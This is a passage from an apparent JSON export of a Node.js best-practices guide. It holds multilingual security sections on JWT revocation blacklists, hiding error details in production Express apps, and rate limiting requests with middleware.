require('express-jwt-blacklist');\n\nblacklist.configure({\n  tokenId: 'jti',\n  strict: true,\n  store: {\n    type: 'memcached',\n    host: '127.0.0.1',\n    port: 11211,\n    keyPrefix: 'mywebapp:',\n    options: {\n      timeout: 1000\n    }\n  }\n});\n\napp.use(jwt({\n  secret: 'my-secret',\n  isRevoked: blacklist.isRevoked\n}));\n\napp.get('/logout', (req, res) => {\n  blacklist.revoke(req.user)\n  res.sendStatus(200);\n});\n```\n\n### What other bloggers say\n\nFrom the blog by [Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/):\n> ...add a revocation layer on top of JWT, even if it implies losing its stateless nature.\n"
  },
  {
    "path": "sections/security/expirejwt.japanese.md",
    "content": "# JWT の ブラックリスト化をサポートする\r\n\r\n### 一段落説明\r\n\r\n設計上、JWTs (JSON Web Tokens) は完全にステートレスであるため、一度有効なトークンが発行者によって署名されると、恐らくそのトークンはアプリケーションによって本物であると判断されるでしょう。このことが引き起こす問題として、発行者によって施された署名がアプリケーションの要求と一致する限り署名は有効であると判断されるため、漏洩したトークンが使用され、そのトークンを無効にすることができないというセキュリティ上の懸念があります。\r\nそのため、JWT 認証を利用する場合は、トークンが無効化される必要があるケースにおいてユーザーのセキュリティを維持するために、アプリケーションは期限切れや無効なトークンのブラックリストを管理する必要があります。\r\n\r\n### `express-jwt-blacklist` の例\r\n\r\n`express-jwt` を利用した Node.js プロジェクトで、`express-jwt-blacklist` を実行する例です。ここで、`express-jwt-blacklist` のデフォルトストア設定である（インメモリ）キャッシュを利用せず、複数の Node.js プロセスをまたいでトークンを無効化できるように、Redis のような外部のストアを利用することが重要であることに注意してください。\r\n\r\n```javascript\r\nconst jwt = require('express-jwt');\r\nconst blacklist = require('express-jwt-blacklist');\r\n\r\nblacklist.configure({\r\n  tokenId: 'jti',\r\n  strict: true,\r\n  store: {\r\n    type: 'memcached',\r\n    host: '127.0.0.1',\r\n    port: 11211,\r\n    keyPrefix: 'mywebapp:',\r\n    options: {\r\n      timeout: 1000\r\n    }\r\n  }\r\n});\r\n\r\napp.use(jwt({\r\n  secret: 'my-secret',\r\n  isRevoked: blacklist.isRevoked\r\n}));\r\n\r\napp.get('/logout', (req, res) => {\r\n  blacklist.revoke(req.user)\r\n  res.sendStatus(200);\r\n});\r\n```\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/) のブログより:\r\n> ...たとえそれがステートレス性を損なったとしても、JTW 上に無効化レイヤを追加してください。\r\n"
  },
  {
    "path": "sections/security/expirejwt.md",
    "content": "# Support blacklisting JWTs\r\n\r\n### One Paragraph Explainer\r\n\r\nBy design, JWTs (JSON Web Tokens) are completely stateless, so once a valid token is signed by an issuer, the token may be verified as authentic by the application. The problem this leads to is the security concern where a leaked token could still be used and unable to be revoked, due to the signature remaining valid as long as the signature provided by the issues matches what the application is expecting.\r\nDue to this, when using JWT authentication, an application should manage a blacklist of expired or revoked tokens to retain user's security in the case a token needs to be revoked.\r\n\r\n### `express-jwt-blacklist` example\r\n\r\nAn example of running `express-jwt-blacklist` on a Node.js project using the `express-jwt`. Note that it is important to not use the default store settings (in-memory) cache of `express-jwt-blacklist`, but to use an external store such as Redis to revoke tokens across many Node.js processes.\r\n\r\n```javascript\r\nconst jwt = require('express-jwt');\r\nconst blacklist = require('express-jwt-blacklist');\r\n\r\nblacklist.configure({\r\n  tokenId: 'jti',\r\n  strict: true,\r\n  store: {\r\n    type: 'memcached',\r\n    host: '127.0.0.1',\r\n    port: 11211,\r\n    keyPrefix: 'mywebapp:',\r\n    options: {\r\n      timeout: 1000\r\n    }\r\n  }\r\n});\r\n\r\napp.use(jwt({\r\n  secret: 'my-secret',\r\n  isRevoked: blacklist.isRevoked\r\n}));\r\n\r\napp.get('/logout', (req, res) => {\r\n  blacklist.revoke(req.user)\r\n  res.sendStatus(200);\r\n});\r\n```\r\n\r\n### What other bloggers say\r\n\r\nFrom the blog by [Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/):\r\n> ...add a revocation layer on top of JWT, even if it implies losing its stateless nature.\r\n"
  },
  {
    "path": "sections/security/expirejwt.polish.md",
    "content": "# Obsługa czarnych list JWT\n\n### Wyjaśnienie jednym akapitem\n\nZ założenia JWT (JSON Web Tokens) są całkowicie bezstanowe, więc po podpisaniu ważnego tokena przez wystawcę token może zostać zweryfikowany przez aplikację jako autentyczny. Problemem z tym związanym jest problem związany z bezpieczeństwem, w którym przeciekający token może być nadal używany i nie może zostać odwołany, ponieważ podpis pozostaje ważny, dopóki podpis dostarczony przez problemy odpowiada oczekiwaniom aplikacji.\nZ tego powodu podczas korzystania z uwierzytelniania JWT aplikacja powinna zarządzać czarną listą wygasłych lub odwołanych tokenów, aby zachować bezpieczeństwo użytkownika na wypadek, gdyby token musiał zostać odwołany.\n\n### `express-jwt-blacklist` przykład\n\nPrzykład uruchomienia `express-jwt-blacklist` w projekcie Node.js przy użyciu `express-jwt`. Należy pamiętać, że ważne jest, aby nie używać domyślnej pamięci podręcznej ustawień (w pamięci) cache `express-jwt-blacklist`, ale używać external store, takiej jak Redis, do odwoływania tokenów w wielu procesach Node.js.\n\n```javascript\nconst jwt = require('express-jwt');\nconst blacklist = require('express-jwt-blacklist');\n\nblacklist.configure({\n  tokenId: 'jti',\n  strict: true,\n  store: {\n    type: 'memcached',\n    host: '127.0.0.1',\n    port: 11211,\n    keyPrefix: 'mywebapp:',\n    options: {\n      timeout: 1000\n    }\n  }\n});\n \napp.use(jwt({\n  secret: 'my-secret',\n  isRevoked: blacklist.isRevoked\n}));\n \napp.get('/logout', (req, res) => {\n  blacklist.revoke(req.user)\n  res.sendStatus(200);\n});\n```\n\n### Co mówią inni blogerzy\n\nZ bloga od [Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/):\n> ...add a revocation layer on top of JWT, even if it implies losing its stateless nature.\n"
  },
  {
    "path": "sections/security/expirejwt.russian.md",
    "content": "# Реализовывайте поддержку внесения JWT в черный список\r\n\r\n### Объяснение в один абзац\r\n\r\nПо своей сути JWT (веб-токены JSON) полностью не сохраняют состояния, поэтому после того, как эмитент подписал действительный токен, токен может быть проверен приложением как аутентичный. Проблема, к которой это приводит - это проблема безопасности, когда утечка токена все еще может быть использована и не может быть отозвана из-за того, что подпись остается в силе до тех пор, пока подпись, предоставленная проблемами, совпадает с ожидаемой приложением.\r\nВ связи с этим при использовании аутентификации JWT приложение должно управлять черным списком токенов с истекшим сроком действия или отозванными токенами, чтобы сохранить безопасность пользователя в случае, если токен необходимо отозвать.\r\n\r\n### `express-jwt-blacklist` пример\r\n\r\nПример запуска `express-jwt-blacklist` в проекте Node.js с использованием `express-jwt`. Обратите внимание, что важно не использовать кэш настроек хранилища по умолчанию (in-memory) `express-jwt-blacklist`, а использовать внешнее хранилище, такое как Redis, для отзыва токенов во многих процессах Node.js.\r\n\r\n```javascript\r\nconst jwt = require('express-jwt');\r\nconst blacklist = require('express-jwt-blacklist');\r\n\r\nblacklist.configure({\r\n  tokenId: 'jti',\r\n  strict: true,\r\n  store: {\r\n    type: 'memcached',\r\n    host: '127.0.0.1',\r\n    port: 11211,\r\n    keyPrefix: 'mywebapp:',\r\n    options: {\r\n      timeout: 1000\r\n    }\r\n  }\r\n});\r\n \r\napp.use(jwt({\r\n  secret: 'my-secret',\r\n  isRevoked: blacklist.isRevoked\r\n}));\r\n \r\napp.get('/logout', (req, res)=> {\r\n  blacklist.revoke(req.user)\r\n  res.sendStatus(200);\r\n});\r\n```\r\n\r\n### Что говорят другие блогеры\r\n\r\nИз блога [Marc Busqué](http://waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/):\r\n> ... добавить слой отзыва поверх JWT, даже если это подразумевает потерю своего состояния без состояния.\r\n"
  },
  {
    "path": "sections/security/hideerrors.basque.md",
    "content": "# Ezkutatu bezeroari erroreen xehetasunak\r\n\r\n### Azalpena\r\n\r\nProdukzioan saihestu beharko litzateke bezeroari azaltzea aplikazioaren erroreen xehetasunak, haren xehetasun sentikorrak agerian jartzeko arriskua dagoelako, hala nola zerbitzariaren fitxategien bideak, erabiltzen ari diren hirugarrenen moduluak eta erasotzaileek balia ditzaketen aplikazioaren barneko beste lan fluxu batzuk.\r\nExpressek erroreen kudeatzaile integratu bat dakar, aplikazioan sor daitezkeen erroreak zaintzen dituena. Erroreak kudeatzeko middleware funtzio lehenetsi hori middleware funtzioen pilaren amaieran gehitzen da. Errorea `next()`era pasatzen baduzu eta errore kudeatzaile pertsonalizatu batean kudeatzen ez baduzu, Expresseko erroreen kudeatzaile integratuak kudeatuko du; errorea bezeroan idatziko da pilaren aztarnarekin. Hala gertatuko da `NODE_ENV` garapenean (`development`) ezarrita dagoenean; baina, `NODE_ENV` ekoizpenean (`production`) ezarrita dagoenean, HTTP erantzun kodea bakarrik idatziko da, pila aztarna, ordea, ez.\r\n\r\n### Kode adibidea: Express erroreen kudeatzailea\r\n\r\n```javascript\r\n// ekoizpeneko errore kudeatzailea\r\n// ez dago informaziorik agerian erabiltzailearentzat\r\napp.use((err, req, res, next) => {\r\n  res.status(err.status || 500);\r\n  res.render(\"error\", {\r\n    message: err.message,\r\n    error: {},\r\n  });\r\n});\r\n```\r\n\r\n### Baliabide osagarriak\r\n\r\n🔗 [Express.jsen erroreak kudeatzeko dokumentazioa](https://expressjs.com/en/guide/error-handling.html)\r\n"
  },
  {
    "path": "sections/security/hideerrors.brazilian-portuguese.md",
    "content": "# Oculte detalhes de erros dos usuários\r\n\r\n### Explicação em um Parágrafo\r\n\r\nA exposição dos detalhes de erros da aplicação ao cliente em produção deve ser evitada devido ao risco de expor detalhes confidenciais do aplicativo, como caminhos de arquivo do servidor, módulos de terceiros em uso e outros fluxos de trabalho internos da aplicação que poderiam ser explorados por um invasor.\r\nO Express vem com um manipulador de erros embutido, que cuida de quaisquer erros que possam ser encontrados na aplicação. Essa função de middleware padrão de tratamento de erros é adicionada no final do stack de funções do middleware.\r\nSe você passar um erro para `next()` e você não o manipular em um manipulador de erro personalizado, ele será tratado pelo manipulador de erros Express; o erro será gravado no cliente com o rastreamento de stack. Esse comportamento será verdadeiro quando `NODE_ENV` for definido como `development`, no entanto, quando `NODE_ENV` for definido como `production`, o rastreio de pilha não será gravado, apenas o código de resposta HTTP.\r\n\r\n### Exemplo de código: Manipulador de erros do express\r\n\r\n``` javascript\r\n// manipulador de erros em produção\r\n// nenhum rastreamento de stack vazou para o usuário\r\napp.use(function(err, req, res, next) {\r\n    res.status(err.status || 500);\r\n    res.render('error', {\r\n        message: err.message,\r\n        error: {}\r\n    });\r\n});\r\n```\r\n\r\n### Recursos Adicionais\r\n\r\n🔗 [Documentação de manipulação de erros do Express.js](https://expressjs.com/en/guide/error-handling.html)\r\n"
  },
  {
    "path": "sections/security/hideerrors.chinese.md",
    "content": "# 在客户端隐藏错误详情\n\n### 一段解释\n\n在生产环境中，应该避免在客户端暴露应用程序的错误详情，因为这会带来暴露程序敏感信息的风险，比如：服务器文件路径、使用的第三方模块以及其他可能被攻击者利用的内部工作流程信息等。Express拥有内置的错误处理机制，以此来处理好在程序中可能会出现的任何错误。默认的错误处理中间件方法被添加到了中间件堆栈的最后面。如果你传了一个错误给`next()`，又没有通过自定义的错误处理机制来处理它，这个错误会被Express内置的错误处理机制处理；这个错误会被写到客户端的堆栈跟踪信息里。当`NODE_ENV`被设置为`development`的时候，才会把详细的错误信息写到客户端，但是当`NODE_ENV`被设置为`production`的时候，不会把详细的堆栈跟踪信息写入到客户端，只会返回HTTP的响应码。\n\n### 代码示例：Express错误处理\n\n``` javascript\n// 生产环境错误处理\n// 不把堆栈跟踪信息展示给用户看\napp.use(function(err, req, res, next) {\n    res.status(err.status || 500);\n    res.render('error', {\n        message: err.message,\n        error: {}\n    });\n});\n```\n\n### 其他资源\n\n🔗 [Express.js 错误处理相关文档](https://expressjs.com/en/guide/error-handling.html)"
  },
  {
    "path": "sections/security/hideerrors.french.md",
    "content": "# Cachez les détails des erreurs au client\n\n### Un paragraphe d'explication\n\nExposer les détails des erreurs de l'application au client en production doit être évité du fait du risque de l'exposition de détails sensibles de l'application comme le chemin vers des fichiers du serveur, les modules tiers utilisés, et d'autres processus internes de l'application qui pourraient être exploités par un attaquant.\nExpress vient avec un gestionnaire d'erreurs intégré, qui s'occupe de toutes les erreurs qui pourraient être rencontrées dans l'application. Cette fonction de gestion des erreurs par défaut de l'intergiciel (NdT *middleware*) est ajouté à la fin de la pile de fonctions de l'intergiciel.\nSi vous passez une erreur à `next()` et que vous ne la traitez pas dans un gestionnaire d'erreur personnalisé, elle sera traitée par le gestionnaire d'erreurs intégré d'Express; l'erreur sera affichée au client avec la pile d'erreurs (NdT *stacktrace*). Ce comportement sera vrai quand `NODE_ENV` est défini avec `development`, toutefois quand `NODE_ENV` est défini avec `production`, la pile d'erreurs n'est pas écrite, seulement le code de la réponse HTTP.\n\n### Exemple de code : Le gestionnaire d'erreurs d'Express\n\n```javascript\n// Traitement des erreurs en production\n// Aucune fuite de la pile d'erreurs n'est signalée à l'utilisateur\napp.use((err, req, res, next) => {\n    res.status(err.status || 500);\n    res.render('error', {\n        message: err.message,\n        error: {}\n    });\n});\n```\n\n### Ressources supplémentaires\n\n🔗 [Documentation Express.js sur le traitement des erreurs](https://expressjs.com/en/guide/error-handling.html)\n"
  },
  {
    "path": "sections/security/hideerrors.japanese.md",
    "content": "# エラーの詳細をクライアントから隠す\r\n\r\n### 一段落説明\r\n\r\nサーバファイルのパス、使用中のサードパーティモジュール、その他攻撃者に悪用される可能性のあるアプリケーションの内部ワークフローなど、機密性の高いアプリケーションの詳細情報が漏洩するリスクがあるため、本番環境においてクライアントにアプリケーションエラーの詳細を晒すべきではありません。\r\nExpress には、アプリ内で発生する恐れのあるエラーを処理するエラーハンドラが組み込まれています。このデフォルトのエラー処理ミドルウェア関数は、ミドルウェア関数スタックの最後に追加されます。\r\nエラーを `next()` に渡し、カスタムエラーハンドラで処理しない場合は、組み込みの Express エラーハンドラで処理されます。エラーはスタックトレースと共にクライアントに書き込まれます。この動作は `NODE_ENV` が `development` に設定されている場合に有効ですが、`NODE_ENV` が `production` に設定されている場合は、スタックトレースは書き込まれず、HTTP レスポンスコードのみが書き込まれます。\r\n\r\n### コード例: Express エラーハンドラ\r\n\r\n```javascript\r\n// 本番のエラーハンドラ\r\n// スタックトレースがユーザーに漏洩しない\r\napp.use((err, req, res, next) => {\r\n    res.status(err.status || 500);\r\n    res.render('error', {\r\n        message: err.message,\r\n        error: {}\r\n    });\r\n});\r\n```\r\n\r\n### その他のリソース\r\n\r\n🔗 [Express.js エラーハンドリングドキュメント](https://expressjs.com/en/guide/error-handling.html)\r\n"
  },
  {
    "path": "sections/security/hideerrors.md",
    "content": "# Hide error details from client\r\n\r\n### One Paragraph Explainer\r\n\r\nExposing application error details to the client in production should be avoided due to the risk of exposing sensitive application details such as server file paths, third-party modules in use, and other internal workflows of the application which could be exploited by an attacker.\r\nExpress comes with a built-in error handler, which takes care of any errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack.\r\nIf you pass an error to `next()` and you do not handle it in a custom error handler, it will be handled by the built-in Express error handler; the error will be written to the client with the stack trace. This behaviour will be true when `NODE_ENV` is set to `development`, however when `NODE_ENV` is set to `production`, the stack trace is not written, only the HTTP response code.\r\n\r\n### Code example: Express error handler\r\n\r\n```javascript\r\n// production error handler\r\n// no stacktraces leaked to user\r\napp.use((err, req, res, next) => {\r\n    res.status(err.status || 500);\r\n    res.render('error', {\r\n        message: err.message,\r\n        error: {}\r\n    });\r\n});\r\n```\r\n\r\n### Additional resources\r\n\r\n🔗 [Express.js error handling documentation](https://expressjs.com/en/guide/error-handling.html)\r\n"
  },
  {
    "path": "sections/security/hideerrors.polish.md",
    "content": "# Ukryj szczegóły błędu przed klientem\n\n### Wyjaśnienie jednym akapitem\n\nNależy unikać ujawniania klientowi szczegółów błędu aplikacji podczas produkcji ze względu na ryzyko ujawnienia wrażliwych szczegółów aplikacji, takich jak ścieżki plików serwera, używane moduły innych firm i inne wewnętrzne przepływy pracy aplikacji, które mogą zostać wykorzystane przez atakującego.\nExpress jest wyposażony we wbudowany moduł obsługi błędów, który zajmuje się wszelkimi błędami, które mogą wystąpić w aplikacji. Ta domyślna funkcja oprogramowania pośredniego obsługująca błędy jest dodawana na końcu stosu funkcji oprogramowania pośredniego.\nJeśli przekażesz błąd do `next ()` i nie obsłużysz go w niestandardowej procedurze obsługi błędów, zostanie on obsłużony przez wbudowaną procedurę obsługi błędów Express; błąd zostanie zapisany w kliencie ze śledzeniem stosu. To zachowanie będzie prawdziwe, gdy `NODE_ENV` jest ustawione na `development`, jednak gdy `NODE_ENV` jest ustawione na `production`, ślad stosu nie jest zapisywany, tylko kod odpowiedzi HTTP.\n\n### Przykład kodu: Express error handler\n\n```javascript\n// production error handler\n// no stacktraces leaked to user\napp.use((err, req, res, next) => {\n    res.status(err.status || 500);\n    res.render('error', {\n        message: err.message,\n        error: {}\n    });\n});\n```\n\n### Dodatkowe źródła\n\n🔗 [Express.js error handling documentation](https://expressjs.com/en/guide/error-handling.html)\n"
  },
  {
    "path": "sections/security/hideerrors.russian.md",
    "content": "# Скрывайте детали ошибок от клиентов\r\n\r\n### Объяснение в один абзац\r\n\r\nСледует избегать предоставления подробных сведений об ошибках в сообщениях клиенту в производственном процессе, поскольку существует риск раскрытия таких важных сведений приложения, как пути к файлам сервера, используемые сторонние модули и другие внутренние рабочие процессы приложения, которые могут быть использованы злоумышленником.\r\nExpress поставляется со встроенным обработчиком ошибок, который заботится о любых ошибках, которые могут возникнуть в приложении. Эта промежуточная функция обработки ошибок по умолчанию добавляется в конец стека функций промежуточного программного обеспечения.\r\nЕсли вы передаете ошибку в `next()` и не обрабатываете ее в пользовательском обработчике ошибок, она будет обработана встроенным обработчиком ошибок Express; ошибка будет записана клиенту с трассировкой стека. Это поведение будет истинным, если для `NODE_ENV` установлено значение `development`, однако, если для `NODE_ENV` установлено значение `production`, трассировка стека не записывается, только код ответа HTTP.\r\n\r\n### Пример кода: экспресс-обработчик ошибок\r\n\r\n```javascript\r\n// production error handler\r\n// no stacktraces leaked to user\r\napp.use((err, req, res, next) => {\r\n    res.status(err.status || 500);\r\n    res.render('error', {\r\n        message: err.message,\r\n        error: {}\r\n    });\r\n});\r\n```\r\n\r\n### Дополнительные ресурсы\r\n\r\n🔗 [Express.js error handling documentation](https://expressjs.com/en/guide/error-handling.html)\r\n"
  },
  {
    "path": "sections/security/limitrequests.basque.md",
    "content": "#  Mugatu aldibereko eskaerak orekatzaile edo middlewareak erabiliz\r\n\r\n### Azalpena\r\n\r\nAbiadura muga ezarri beharko litzateke zure aplikazioan Node.jsren aplikazio batek gainezka egin ez dezan aldi berean eskaera gehiegi dituelako, eta hori hobeto egiten da hartarako diseinatutako zerbitzua batekin, hala nola nginx. Baina, abiadura mugatzeko pakete malgu batekin ([rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible)) edo Express.js aplikazioetako abiadura-mugatzaile-malgua ([rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible)) bezalako middlewareekin ere egin daiteke.\r\n\r\n  ### Kode adibidea: Node.js aplikazio hutsa, abiadura-mugatzaile-malgua(https://www.npmjs.com/package/rate-limiter-flexible)\r\n\r\n  ```javascript\r\n const http = require('http');\r\n const redis = require('redis');\r\n const { RateLimiterRedis } = require('rate-limiter-flexible');\r\n\r\n const redisClient = redis.createClient({\r\n   enable_offline_queue: false,\r\n });\r\n\r\n // Gehienez 20 eskaera segunduko\r\n const rateLimiter = new RateLimiterRedis({\r\n   storeClient: redisClient,\r\n   points: 20,\r\n   duration: 1,\r\n   blockDuration: 2, // blokeatu 2 segunduan zehar, 20 puntu baino gehiago erabili badira segunduko\r\n });\r\n\r\n http.createServer(async (req, res) => {\r\n    try {\r\n    const rateLimiterRes = await rateLimiter.consume(req.socket.remoteAddress);\r\n    // Aplikazioaren logika hemen\r\n\r\n    res.writeHead(200);\r\n    res.end();\r\n    } catch {\r\n    res.writeHead(429);\r\n    res.end('Eskaera gehiegi');\r\n    }\r\n })\r\n   .listen(3000);\r\n ```\r\n[Dokumentazioan adibide gehiago](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example) aurki dezakezu.\r\n\r\n### Kode adibidea: abiadura mugatzeko expressa bide jakin zenbaitetarako\r\n\r\n[Express adiadura mugatzailea](https://www.npmjs.com/package/express-rate-limit) npm paketearen erabilera\r\n\r\n```javascript\r\nconst RateLimit = require('express-rate-limit');\r\n// Garrantzitsua proxya badago bezeroaren IP-a req.ip-an pasa dela egiaztatzeko\r\napp.enable('trust proxy');\r\n\r\nconst apiLimiter = new RateLimit({\r\n  windowMs: 15*60*1000, // 15 minutu\r\n  max: 100,\r\n});\r\n\r\n// soilik /user/-ekin hasten diren eskaeretan ezarri\r\napp.use('/user/', apiLimiter);\r\n```\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[NGINX bloga](https://www.nginx.com/blog/rate-limiting-nginx/):\r\n> Abiadura mugatzea segurtasun helburuak lortzeko erabil daiteke, adibidez, bortxa erabiliz pasahitzak asmatzeko erasoak moteltze aldera. DDoS erasoen aurka babesten lagun dezake sarrerako eskaera tasa benetako erabiltzaileentzako ohiko balio batera mugatuz eta (erregistroarekin batera) bideratutako URLak identifikatuz. Oro har, abiadura mugatzen da hasierako (upstream) aplikazioen zerbitzariak babesteko erabiltzaileek aldi berean eskaera gehiegi bidaltzen dutenean.\r\n\r\n"
  },
  {
    "path": "sections/security/limitrequests.brazilian-portuguese.md",
    "content": "#  Limite requests simultâneos usando um middleware\r\n\r\n### Explicação em um Parágrafo\r\n\r\nA limitação de taxa deve ser implementada em seu aplicativo para proteger um aplicativo Node.js de ser sobrecarregado por muitas solicitações ao mesmo tempo. A limitação de taxa é uma tarefa que é melhor executada com um serviço projetado para essa tarefa, como o nginx, mas também é possível com o pacote [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) ou com um middleware de aplicação, como [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) para aplicações Express.js.\r\n\r\n### Exemplo de código: aplicativo Node.js puro com [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible)\r\n \r\n  ```javascript\r\n const http = require('http');\r\n const redis = require('redis');\r\n \r\n const { RateLimiterRedis } = require('rate-limiter-flexible');\r\n \r\n const redisClient = redis.createClient({\r\n   enable_offline_queue: false,\r\n });\r\n \r\n // Máximo de 20 requisições por segundo\r\n const rateLimiter = new RateLimiterRedis({\r\n   storeClient: redisClient,\r\n   points: 20,\r\n   duration: 1,\r\n   blockDuration: 2, // bloqueia por 2 segundos se consumir mais de 20 pontos por segundo\r\n });\r\n \r\n http.createServer((req, res) => {\r\n   rateLimiter.consume(req.socket.remoteAddress)\r\n     .then((rateLimiterRes) => {\r\n        // Alguma lógica de aplicação aqui\r\n \r\n        res.writeHead(200);\r\n        res.end();\r\n      })\r\n      .catch(() => {\r\n        res.writeHead(429);\r\n        res.end('Too Many Requests');\r\n      });\r\n   }\r\n }).listen(3000);\r\n ```\r\n\r\nVocê pode encontrar [mais exemplos na documentação](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example).\r\n\r\n### Exemplo de código: Express middleware de limitação de taxa para determinadas rotas\r\n\r\nUsando o pacote do npm [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit)\r\n\r\n``` javascript\r\nvar RateLimit = require('express-rate-limit');\r\n// importante se por trás de um proxy para garantir que o IP do cliente seja passado para req.ip\r\napp.enable('trust proxy'); \r\n \r\nvar apiLimiter = new RateLimit({\r\n  windowMs: 15*60*1000, // 15 minutes\r\n  max: 100,\r\n});\r\n \r\n// aplicam-se apenas a requests iniciados por /user/\r\napp.use('/user/', apiLimiter);\r\n```\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDe [NGINX blog](https://www.nginx.com/blog/rate-limiting-nginx/):\r\n> A limitação de taxa pode ser usada para fins de segurança, por exemplo, para retardar ataques de adivinhação de senha de força bruta. Ele pode ajudar a proteger contra ataques DDoS, limitando a taxa de solicitação de entrada a um valor típico para usuários reais e (com logs) identificar os URLs segmentados. Mais geralmente, ele é usado para proteger servidores de aplicativos upstream de serem sobrecarregados por muitas solicitações do usuário ao mesmo tempo.\r\n\r\n"
  },
  {
    "path": "sections/security/limitrequests.chinese.md",
    "content": "# 通过平衡器或者中间件限制并发请求\n\n### 一段解释\n\n你的Node.js应用程序应该实现限流，以此来保护它不会因为同一时间太多请求而崩溃。限流就是一个任务，需要一个专门为此设计的服务来辅助才能达到最佳的执行效果，比如nginx，但是通过应用程序中间件也可以实现，比如[express-rate-limiter](https://www.npmjs.com/package/express-rate-limit)。\n\n### 代码示例：Express对某些路由使用限流中间件\n\n使用[express-rate-limiter](https://www.npmjs.com/package/express-rate-limit)模块\n\n``` javascript\nconst RateLimit = require('express-rate-limit');\n// 如果请求需要经过代理，确保客户端IP能够传给req.ip这一点非常重要\napp.enable('trust proxy');\n\nconst apiLimiter = new RateLimit({\n  windowMs: 15*60*1000, // 15分钟\n  max: 100,\n});\n\n// 仅应用于以/user/开头的请求\napp.use('/user/', apiLimiter);\n```\n\n### 其他博主的看法\n\n摘自 [NGINX 博客](https://www.nginx.com/blog/rate-limiting-nginx/):\n\n> 限流可以是出于安全考虑，比如用于降低暴力破解密码攻击的风险。可以通过限制输入请求速率在某个基于真实用户的特定值来防止DDOS攻击，这对分析（通过日志）特定的URLs也有一定的帮助。但通常情况下，限流是用来保护上游应用程序不会因为同一时间太多请求而崩溃。"
  },
  {
    "path": "sections/security/limitrequests.french.md",
    "content": "# Limitez les requêtes simultanées en utilisant un équilibreur ou un middleware\n\n### Un paragraphe d'explication\n\nLa limitation des débits doit être mise en œuvre dans votre application pour éviter qu'une application Node.js ne soit submergée par un trop grand nombre de requêtes en même temps. La limitation de débit est une tâche qui s'effectue mieux avec un service conçu pour cette tâche, comme nginx, mais elle est également possible avec le paquet [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) ou un middleware comme [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) pour les applications Express.js.\n \n  ### Exemple de code : application pure Node.js avec [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible)\n \n  ```javascript\n const http = require('http');\n const redis = require('redis');\n const { RateLimiterRedis } = require('rate-limiter-flexible');\n \n const redisClient = redis.createClient({\n   enable_offline_queue: false,\n });\n\n // 20 requêtes maximum par seconde\n const rateLimiter = new RateLimiterRedis({\n   storeClient: redisClient,\n   points: 20,\n   duration: 1,\n   blockDuration: 2, // bloque pendant 2 secondes s'il est utilisé plus de 20 fois par seconde\n });\n\n http.createServer(async (req, res) => {\n    try {\n    const rateLimiterRes = await rateLimiter.consume(req.socket.remoteAddress);\n    // Un peu de logique applicative ici\n\n    res.writeHead(200);\n    res.end();\n    } catch {\n    res.writeHead(429);\n    res.end('Trop de requêtes');\n    }\n })\n   .listen(3000);\n ```\n\nVous pouvez trouver [plus d'exemples dans la documentation](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example).\n\n### Exemple de code : middleware limitant les débits express pour certaines routes\n\nUtilisation du paquet npm [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit)\n\n```javascript\nconst RateLimit = require('express-rate-limit');\n// important si placé derrière un proxy pour s'assurer que l'IP du client soit passée à req.ip\napp.enable('trust proxy'); \n \nconst apiLimiter = new RateLimit({\n  windowMs: 15*60*1000, // 15 minutes\n  max: 100,\n});\n \n// ne s'appliquent qu'aux requêtes qui commencent par /user/\napp.use('/user/', apiLimiter);\n```\n\n### Ce que disent les autres blogueurs\n\nExtrait du [blog NGINX](https://www.nginx.com/blog/rate-limiting-nginx/) :\n> La limitation des débits peut être utilisée à des fins de sécurité, par exemple pour ralentir les attaques brute-force visant à deviner des mots de passe. Elle peut contribuer à la protection contre les attaques DDoS en limitant le taux de requêtes entrantes à une valeur donnée pour les utilisateurs réels, et (avec journalisation) identifier les URL ciblées. Plus généralement, il est utilisé pour protéger les serveurs d'application en amont contre les requêtes simultanées d'un trop grand nombre d'utilisateurs.\n\n"
  },
  {
    "path": "sections/security/limitrequests.japanese.md",
    "content": "# ミドルウェアを使用して同時リクエストを制限する\r\n\r\n### 一段落説明\r\n\r\n同時に発生する多くのリクエストから Node.js アプリケーションを守るために、レートリミットを実装する必要があります。レート制限は、nginx のような、このタスクを実装するために最も適したサービスを使うべきですが、[rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) パッケージや、[express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) のようなExpress.js アプリケーション向けのミドルウェアを使用することでも実現可能です。\r\n \r\n### コード例: [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) を使用したシンプルな Node.js アプリケーション\r\n \r\n  ```javascript\r\n const http = require('http');\r\n const redis = require('redis');\r\n const { RateLimiterRedis } = require('rate-limiter-flexible');\r\n \r\n const redisClient = redis.createClient({\r\n   enable_offline_queue: false,\r\n });\r\n\r\n // Maximum 20 requests per second\r\n const rateLimiter = new RateLimiterRedis({\r\n   storeClient: redisClient,\r\n   points: 20,\r\n   duration: 1,\r\n   blockDuration: 2, // 1 秒に 20 より多いポイントが消費された場合に、2 秒間ブロックします\r\n });\r\n\r\n http.createServer(async (req, res) => {\r\n    try {\r\n    const rateLimiterRes = await rateLimiter.consume(req.socket.remoteAddress);\r\n    // アプリケーションのロジックがここに入ります\r\n\r\n    res.writeHead(200);\r\n    res.end();\r\n    } catch {\r\n    res.writeHead(429);\r\n    res.end('Too Many Requests');\r\n    